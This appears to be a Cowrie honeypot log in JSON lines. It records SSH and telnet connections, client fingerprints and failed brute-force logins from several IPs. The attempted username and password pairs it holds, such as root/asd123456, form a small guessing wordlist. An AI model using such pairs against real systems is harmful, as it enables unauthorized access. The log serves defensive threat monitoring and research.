{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:04.296340Z","src_ip":"197.221.232.44","session":"cac073a0f949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:05.261513Z","src_ip":"201.186.40.161","session":"731ad9d214a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123@@@","message":"login attempt [root/qaz123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:05.324313Z","src_ip":"197.221.232.44","session":"cac073a0f949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:06.577483Z","src_ip":"197.221.232.44","session":"cac073a0f949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47238,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d554a201c28","protocol":"telnet","message":"New connection: 135.148.14.151:47238 (159.203.135.109:23) [session: 5d554a201c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:14.204628Z"}
{"eventid":"cowrie.session.closed","duration":34.34999203681946,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:16.354856Z","src_ip":"135.148.14.151","session":"e27f2abe3afe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22831,"dst_ip":"10.17.0.5","dst_port":22,"session":"0984a219578f","protocol":"ssh","message":"New connection: 2.57.121.112:22831 (10.17.0.5:22) [session: 0984a219578f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:18.825413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:18.834586Z","src_ip":"2.57.121.112","session":"0984a219578f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:18.937804Z","src_ip":"2.57.121.112","session":"0984a219578f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03061972","message":"login attempt [admin/03061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:19.424228Z","src_ip":"2.57.121.112","session":"0984a219578f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.678985357284546,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:19.940601Z","src_ip":"135.148.14.151","session":"763f12ebd78c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030594","message":"login attempt [admin/030594] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:20.530097Z","src_ip":"2.57.121.112","session":"0984a219578f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030581","message":"login attempt [admin/030581] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:21.636916Z","src_ip":"2.57.121.112","session":"0984a219578f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030579","message":"login attempt [admin/030579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:22.742664Z","src_ip":"2.57.121.112","session":"0984a219578f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51548,"dst_ip":"159.203.135.109","dst_port":23,"session":"56e8639cac9f","protocol":"telnet","message":"New connection: 135.148.14.151:51548 (159.203.135.109:23) [session: 56e8639cac9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:23.362383Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03041971","message":"login attempt [admin/03041971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:23.846931Z","src_ip":"2.57.121.112","session":"0984a219578f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:24.958477Z","src_ip":"2.57.121.112","session":"0984a219578f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":60322,"dst_ip":"10.17.0.5","dst_port":22,"session":"a22de67f3308","protocol":"ssh","message":"New connection: 103.149.170.125:60322 (10.17.0.5:22) [session: a22de67f3308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:33.540060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:33.548254Z","src_ip":"103.149.170.125","session":"a22de67f3308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:33.831793Z","src_ip":"103.149.170.125","session":"a22de67f3308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhntv1998","message":"login attempt [root/fhntv1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:36.146191Z","src_ip":"103.149.170.125","session":"a22de67f3308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:37.415834Z","src_ip":"103.149.170.125","session":"a22de67f3308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57966,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d4ef24c14e","protocol":"telnet","message":"New connection: 135.148.14.151:57966 (159.203.135.109:23) [session: 15d4ef24c14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:38.010926Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":41570,"dst_ip":"10.17.0.5","dst_port":22,"session":"34dd2edb557a","protocol":"ssh","message":"New connection: 87.251.79.125:41570 (10.17.0.5:22) [session: 34dd2edb557a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:38.479357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:38.483546Z","src_ip":"87.251.79.125","session":"34dd2edb557a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:38.556561Z","src_ip":"87.251.79.125","session":"34dd2edb557a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:38.777090Z","src_ip":"87.251.79.125","session":"34dd2edb557a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:39.856634Z","src_ip":"87.251.79.125","session":"34dd2edb557a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17867851257324,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:49.383203Z","src_ip":"135.148.14.151","session":"5d554a201c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34080,"dst_ip":"159.203.135.109","dst_port":23,"session":"493b64a30eb5","protocol":"telnet","message":"New connection: 135.148.14.151:34080 (159.203.135.109:23) [session: 493b64a30eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:49.642063Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":43696,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bc4ae0c9f5a","protocol":"ssh","message":"New connection: 147.45.199.80:43696 (159.203.135.109:22) [session: 8bc4ae0c9f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:52.199791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:52.207115Z","src_ip":"147.45.199.80","session":"8bc4ae0c9f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:52.295852Z","src_ip":"147.45.199.80","session":"8bc4ae0c9f5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1986","message":"login attempt [root/alex1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:52.664822Z","src_ip":"147.45.199.80","session":"8bc4ae0c9f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:44:53.762892Z","src_ip":"147.45.199.80","session":"8bc4ae0c9f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.23659706115723,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:00.598876Z","src_ip":"135.148.14.151","session":"56e8639cac9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41076,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1df70a59fff","protocol":"telnet","message":"New connection: 135.148.14.151:41076 (159.203.135.109:23) [session: b1df70a59fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:05.740900Z"}
{"eventid":"cowrie.session.closed","duration":34.00063395500183,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:12.011442Z","src_ip":"135.148.14.151","session":"15d4ef24c14e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48372,"dst_ip":"159.203.135.109","dst_port":23,"session":"940e1aedfd7f","protocol":"telnet","message":"New connection: 135.148.14.151:48372 (159.203.135.109:23) [session: 940e1aedfd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:21.556706Z"}
{"eventid":"cowrie.session.closed","duration":34.91874957084656,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:24.560696Z","src_ip":"135.148.14.151","session":"493b64a30eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.908958435058594,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:39.649707Z","src_ip":"135.148.14.151","session":"b1df70a59fff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3023567199707,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:53.858950Z","src_ip":"135.148.14.151","session":"940e1aedfd7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":53190,"dst_ip":"159.203.135.109","dst_port":22,"session":"197d1a7271b6","protocol":"ssh","message":"New connection: 197.221.232.44:53190 (159.203.135.109:22) [session: 197d1a7271b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:56.149154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:56.154127Z","src_ip":"197.221.232.44","session":"197d1a7271b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:56.402957Z","src_ip":"197.221.232.44","session":"197d1a7271b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123456","message":"login attempt [root/asd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:57.429188Z","src_ip":"197.221.232.44","session":"197d1a7271b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:45:58.682580Z","src_ip":"197.221.232.44","session":"197d1a7271b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":37578,"dst_ip":"159.203.135.109","dst_port":22,"session":"4268c0c1de2d","protocol":"ssh","message":"New connection: 129.226.4.94:37578 (159.203.135.109:22) [session: 4268c0c1de2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:46:06.690705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:46:06.695565Z","src_ip":"129.226.4.94","session":"4268c0c1de2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:46:06.934074Z","src_ip":"129.226.4.94","session":"4268c0c1de2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamza","password":"admin123","message":"login attempt [hamza/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:46:07.917962Z","src_ip":"129.226.4.94","session":"4268c0c1de2d","protocol":"ssh"}
